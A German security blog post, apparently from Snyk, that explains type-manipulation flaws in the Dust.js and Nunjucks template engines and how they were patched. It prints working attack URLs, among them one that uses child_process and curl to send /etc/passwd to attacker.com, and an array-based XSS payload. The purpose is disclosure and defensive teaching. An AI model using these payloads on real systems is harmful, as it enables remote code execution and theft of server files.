Skip to main content

Typmanipulation: Ausbruch aus Template-Sandboxes

Artikel von

21. März 2017

0 Min. Lesezeit

Eine wichtige Eigenschaft interpretierter Sprachen wie JavaScript und Ruby ist die dynamische Typisierung: Variablentypen werden zur Laufzeit bestimmt und aktualisiert. Dynamische Typisierung hat zwar Nachteile, kann Software aber flexibler und die Entwicklung schneller machen. Leider eröffnet sie einen Angriffsvektor namens Typmanipulation, bei dem Angreifer versuchen, den Typ einer Variablen zu ändern und so unbeabsichtigtes Verhalten auszulösen.

Dies ist der erste Beitrag einer Reihe über Typmanipulation. Jeder Beitrag zeigt eine oder mehrere reale Sicherheitslücken, die sich durch die Manipulation von Typen ausnutzen lassen, und erklärt, wie sie sich hätten vermeiden lassen. Die Praxisbeispiele sollen Sie sowohl auf konkrete Sicherheitslücken in möglicherweise von Ihnen verwendeten Paketen aufmerksam machen als auch Ihnen helfen, aus diesen Fehlern zu lernen und sie in Ihrem eigenen Code zu vermeiden.

In diesem Beitrag zeigen wir, wie sich durch Typmanipulation die Sandboxes von Template-Frameworks umgehen lassen. Diese Templates verfügen oft über integrierte Schutzmechanismen, doch wie wir gleich zeigen werden, ist ihr Schutz nie perfekt. Unsere Beispiele beruhen auf Sicherheitslücken in LinkedIns Dust.js und Mozillas Nunjucks; Angular erwähnen wir am Rande.

Remote Command Execution-Sicherheitslücke in LinkedIn Dust.js

Unser Hauptbeispiel ist eine Sicherheitslücke in Dust.js, einem beliebten Templating-Framework, das von LinkedIn veröffentlicht und verwendet wird. Dust.js wird bekanntermaßen auch von PayPal genutzt. Dort deckte ein Sicherheitsforscher eine Remote-Command-Execution-Sicherheitslücke auf, die sich durch Typmanipulation ausnutzen ließ.

Die Sicherheitslücke wurde am 9. Januar 2015 offengelegt und am 14. September 2016 mit Version 2.6.0 behoben. Wenn Sie Dust.js verwenden, sollten Sie unbedingt prüfen, ob Ihre Apps die verwundbare Version nutzen.

Explizite Abhängigkeit vom Typ

Wie die meisten Templating-Bibliotheken unterstützt Dust.js Bedingungen in Templates. Das folgende Beispiel verwendet den Parameter device, um auszuwählen, welcher HTML-Code gerendert wird:

{@if cond="'{device}' == 'desktop'"} 
    <div>Desktop version</div> 
{:else} 
    <div>Mobile Version</div> 
{/if}

Diese Bedingungen werden anschließend mit der Funktion eval() ausgewertet, die eine einfache Möglichkeit bietet, hochkomplexe Bedingungen innerhalb des Templates zu unterstützen. Hier sehen Sie einen Ausschnitt aus der if-Funktion von Dust.js. Darin werden die vom Benutzer bereitgestellten params und die statischen, vom Entwickler bereitgestellten cond kombiniert, um den auszuwertenden Wert zu erzeugen:

"if": function( chunk, context, bodies, params ){
  ...
    var cond = params.cond;
    cond = dust.helpers.tap(cond, chunk, context);
    // eval expressions with given dust references
    if(eval(cond)){
      ...
    }
}

Da die Bedingung Benutzereingaben enthalten kann, etwa den Parameter device, verwendet Dust.js eine Bereinigungsfunktion, um zu verhindern, dass schädliche Parameterwerte als Code ausgewertet werden. Hier sehen Sie einen Ausschnitt dieser Funktion:

dust.escapeHtml = function(s) {
  if (typeof s === 'string') {
    if (!HCHARS.test(s)) {
      return s;
    }
  return s.replace(AMP,'&').replace(...) // more char replacements
  }
  return s;
}

Der Bereinigungscode ist sauber und zuverlässig und erfasst alle Zeichen, von denen derzeit bekannt ist, dass sie einen Ausbruch aus der Zeichenfolge in Anführungszeichen ermöglichen. Außerdem sehen Sie, dass der Aufruf HCHARS.test(s) nur für Zeichenfolgen ausgeführt wird – vermutlich, um Fehler bei nicht definierten Werten zu vermeiden.

Diese Typprüfung vermeidet zwar möglicherweise Fehler, öffnet aber zugleich die Tür für einen Typmanipulationsangriff. Kann der Angreifer erzwingen, dass s ein Array (oder ein anderes Objekt, das keine Zeichenfolge ist) wird, umgeht er die Prüfung vollständig. Später im Code wird das Array implizit in eine Zeichenfolge umgewandelt, wenn die Bedingung an eval übergeben wird. Dadurch wird die Ausführung von JavaScript-Code aus der Ferne ermöglicht.

Von der Zeichenfolge zum Array

Als Nächstes versucht ein Angreifer, den Typ der Variablen zu manipulieren. Bei API-gesteuerten Anwendungen können Angreifer dazu eine JSON-Nutzlast verändern, wie wir es bei der Buffer-Sicherheitslücke in Mongoose gesehen haben. Da es sich hier jedoch um eine Web-Templating-Plattform handelt, konzentrieren wir uns auf die Typmanipulation über qs.

Das Paket qs ist das am häufigsten verwendete JavaScript-Paket zum Parsen von Query-Strings und wird standardmäßig in express, request und anderen beliebten Paketen eingesetzt. qs wandelt einen Query-String in ein JavaScript-Objekt um, das sich einfach verarbeiten lässt. Hier einige typische Anwendungsbeispiele für qs:

qs.parse('a');          // {a : ''}
qs.parse('a=foo');      // {a : 'foo'}
qs.parse('a=foo&b=bar');// {a : 'foo', b: 'bar'}
qs.parse('a=foo&a=bar');// {a : ['foo', 'bar']}
qs.parse('a[]=foo');    // {a : ['foo']}

Wie Sie sehen, leitet qs den Typ des erstellten Objekts daraus ab, wie der Wert im Query-String angegeben ist. Kommt derselbe Name mehrfach vor, wird er als Array dargestellt. Wird ein Parameter ausdrücklich als Array angegeben, hat er beim Parsen ebenfalls diesen Typ.

Von hier aus ist es nur ein kurzer Schritt, die Dust.js-Sicherheitslücke auszulösen. Beim obigen Beispiel-Template, das tatsächlich bei PayPal verwendet wurde, muss der Angreifer lediglich das Argument device zweimal angeben oder es als Parameter device[]=value übermitteln. Die Variable wird dann als Array weitergegeben und die Bereinigungslogik umgangen.

Nach der Ausnutzung von Dust.js

Auch wenn es etwas vom Thema Typmanipulation abweicht, ist es interessant zu sehen, wie ein Angreifer diese Sicherheitslücke ausnutzen kann – die sogenannten Aktionen nach dem Exploit.

Zunächst muss der Angreifer Code ausführen können. Dazu kann er eine URL wie die folgende angeben:

Attack URL: https://host/page?device=x&device=y'-console.log('gotcha')+'
Eval call:  eval("'xy'-console.log('gotcha')+'' == 'desktop'");

Eine Konsolennachricht zu protokollieren, ist für einen Angreifer nicht besonders nützlich. Daher könnte er ein komplexeres Skript angeben, das beispielsweise Informationen nach außen sendet. Beim PayPal-Exploit verwendete der Forscher eine Nutzlast wie diese:

https://host/page?device=x&device=y'-require('child_process').exec('curl+-F+"x=`cat+/etc/passwd`"+attacker.com')-'

Daraus ergibt sich folgender Aufruf von eval:

eval("'xy'-require('child_process').exec('curl -F \"x=`cat /etc/passwd`\" attacker.com')-'' == 'desktop'");

Bei der Aktion nach dem Exploit wird das Modul child_process verwendet, um lokal einen curl-Befehl auszuführen und die Datei /etc/passwd an den Angreifer zu senden. Mit einer etwas längeren Nutzlast hätte sich dies auch mit einem nativen Node-Befehl erreichen lassen. Die Verwendung von child_process stuft die Sicherheitslücke jedoch von der Remote-Ausführung von JavaScript-Code zur Remote-Ausführung von Shell-Befehlen hoch und erweitert damit die Handlungsmöglichkeiten des Angreifers.

Möglichkeiten zur Behebung

Die meisten Typmanipulationsangriffe – und auch dieser – lassen sich verhindern, indem Variablentypen nicht zugelassen, normalisiert oder individuell verarbeitet werden. Diese drei Möglichkeiten lassen sich kombinieren und bilden so mehrere Schutzebenen.

Nicht zulassen bedeutet, nur bestimmte Typen zu unterstützen. In diesem Fall hätte Dust.js Parameter, die keine Zeichenfolgen sind, in seinen Templates ablehnen können. Das würde den Funktionsumfang einschränken. Ob diese Option infrage kommt, hängt daher davon ab, wie das Framework eingesetzt wird.

Normalisieren bedeutet, verschiedene Eingabetypen in einen einzigen Typ umzuwandeln. In diesem Fall wandelte Dust.js die betreffenden Variablen implizit in eine Zeichenfolge um, als sie an die Funktion eval() übergeben wurden. Anstatt erst dort in eine Zeichenfolge umzuwandeln, könnten frühere Funktionen ein eingehendes Array, eine Ganzzahl oder einen anderen Typ in eine Zeichenfolge umwandeln. Der restliche Code – einschließlich der Bereinigung – könnte dann davon ausgehen, dass nur Zeichenfolgen zulässig sind.

Schließlich bedeutet individuelle Verarbeitung, für alle zulässigen Typen eine spezielle Verarbeitung zu implementieren. In diesem Fall hätte Dust.js erkennen können, ob es sich um ein Array handelt, und jedes darin enthaltene Zeichen normalisieren können. Dabei hätte auch berücksichtigt werden müssen, auf welche gefährlichen Arten mehrere Array-Elemente kombiniert werden können. Diese Möglichkeit ist die anfälligste der drei, unterstützt aber auch komplexere Eingaben.

Dust.js entschied sich für eine Form der individuellen Verarbeitung, die alle Objekte mit einer toString-Funktion erfassen soll. Diese Lösung behebt das Problem, lässt den Code jedoch bis zu einem gewissen Grad anfällig, da nachgelagerter Code ein Array bei der Ausgabe für Benutzer möglicherweise anders umwandelt. Hier sehen Sie den relevanten Ausschnitt aus dem Patch für Dust.js:

dust.escapeHtml = function(s) {
if (typeof s === "string" || (s && typeof s.toString === "function")) {
   if (typeof s !== "string") {
      s = s.toString();
   }
   if (!HCHARS.test(s)) {
      return s;
   }
 }
};

Wenn Sie eine verwundbare Version von Dust.js verwenden und aus irgendeinem Grund nicht aktualisieren können, können Sie die Typen der an Dust.js übergebenen Eingaben in Ihrem Code normalisieren oder nicht als Zeichenfolge vorliegende Typen ablehnen. So blockieren Sie schädliche Arrays. Mit der CLI oder der GitHub-Integration von Snyk können Sie prüfen, ob Sie eine verwundbare Version verwenden.

XSS-Sicherheitslücke in Mozilla Nunjucks

Die Sicherheitslücke in Dust.js ist kein Einzelfall, sondern folgt einem wiederkehrenden Muster. Sehen wir uns eine ähnliche Möglichkeit zur Typmanipulation in einem anderen Templating-Framework an: der Nunjucks-Bibliothek von Mozilla. Diese Sicherheitslücke wurde am 6. September 2016 von Matt Austin offengelegt und mit Version 2.4.3 behoben, die am 9. September 2016 veröffentlicht wurde. Wie bei Dust.js können Sie mit Snyk prüfen, ob Ihre Apps eine verwundbare Nunjucks-Version verwenden.

Wie Handlebars, Mustache und andere Bibliotheken können Sie in Nunjucks Variablennamen zwischen zwei geschweiften Klammern (``) angeben. Dadurch wird der darin enthaltene Wert HTML-kodiert. Hier sehen Sie diesen Schutzmechanismus in Aktion:

nunjucks.renderString(
       'Hello ',
       {username: '<script>alert(1)</script>' });

// Outputs: Hello <script>alert(1)<script>

Wie bei Dust.js bereinigte die Bereinigungsfunktion von Nunjucks jedoch nur Zeichenfolgenparameter. Hier sehen Sie einen Ausschnitt des Bereinigungscodes:

escape: function(str) {
  if(typeof str === 'string') {
    return r.markSafe(lib.escape(str));
  }
  return str;
}

Nach ähnlicher Logik wie oben führt eine URL wie diese (geparst von qs):

https://host/?name[]=<script>alert(1)</script>matt

zu einem Aufruf und einer XSS-Ausgabe wie dieser:

nunjucks.renderString(
       'Hello ',
       {username: ['<script>alert(1)</script>matt'] });

// Outputs: <script>alert(1)</script>matt

Wie Sie sehen, folgt das Problem demselben Muster: Die Möglichkeit, dass ein Angreifer den Typ manipuliert, wurde nicht berücksichtigt. Dadurch kann ein Angreifer die Bereinigung umgehen und schädlichen Code einschleusen.

Wie bei Dust.js hätte Nunjucks zur Behebung Array-Eingaben ablehnen, in Zeichenfolgen umwandeln oder die Bereinigung für Arrays individuell implementieren können. Wie dieser Patch zeigt, entschied sich Mozilla dafür, Array-Eingaben mit der Methode toString zu normalisieren.

Zusammenfassung

Typmanipulation ist ein weniger bekannter Angriffsvektor, stellt aber eine sehr reale Gefahr für alle dynamisch typisierten Sprachen dar. Bei solchen Sprachen müssen wir uns daran gewöhnen, den Typ als eine weitere Form von Eingabe zu betrachten und jede Variante entweder auf eine Positivliste zu setzen, zu normalisieren oder individuell zu verarbeiten.

In diesem Beitrag haben wir gesehen, wie sich durch Typmanipulation aus der Sandbox eines Template-Frameworks ausbrechen lässt – ein Problem, an dem sich viele Frameworks die Zähne ausgebissen haben. Eine Sandbox zu erstellen, ohne die Laufzeitumgebung zu kontrollieren, ist äußerst schwierig. Deshalb hat Angular ganz darauf verzichtet.

In zukünftigen Beiträgen zeigen wir weitere Szenarien, in denen Typmanipulation zum Einsatz kommen kann. So können Sie die damit verbundenen Risiken besser verstehen und erfahren, wie sie sich äußern können.

Weiterlesen

Blog

Frontier-Modelle fanden die Schwachstellen. Nur der Angreifer fand die Angriffsketten.

Die statische Analyse fand die Schwachstellen, doch erst Live-Angriffstests bewiesen, wie sie sich zu Angriffen verketten lassen. Ein Vergleich von Evo COS, Claude Security und Claude Code Security.

feature insights context
Blog

Autonome Angriffe sind bereits Realität. Die Verteidigung muss Schritt halten.

Autonome Angreifer verkürzen das Zeitfenster für die Verteidigung. Erfahren Sie, wie kontinuierliches Erkennen, Beheben, Validieren und Verhindern Sicherheitsteams helfen kann, Schritt zu halten.

Blog

Ihr Schwachstellen-Backlog ist keine technische Schuld mehr, sondern eine Angriffsfläche

Ein wachsender Schwachstellen-Backlog ist mehr als eine technische Altlast: Er ist eine Angriffsfläche. Erfahren Sie, warum veraltete Risikoeinschätzungen, automatisierte Angreifer und verkettete Findings einen neuen Ansatz erfordern.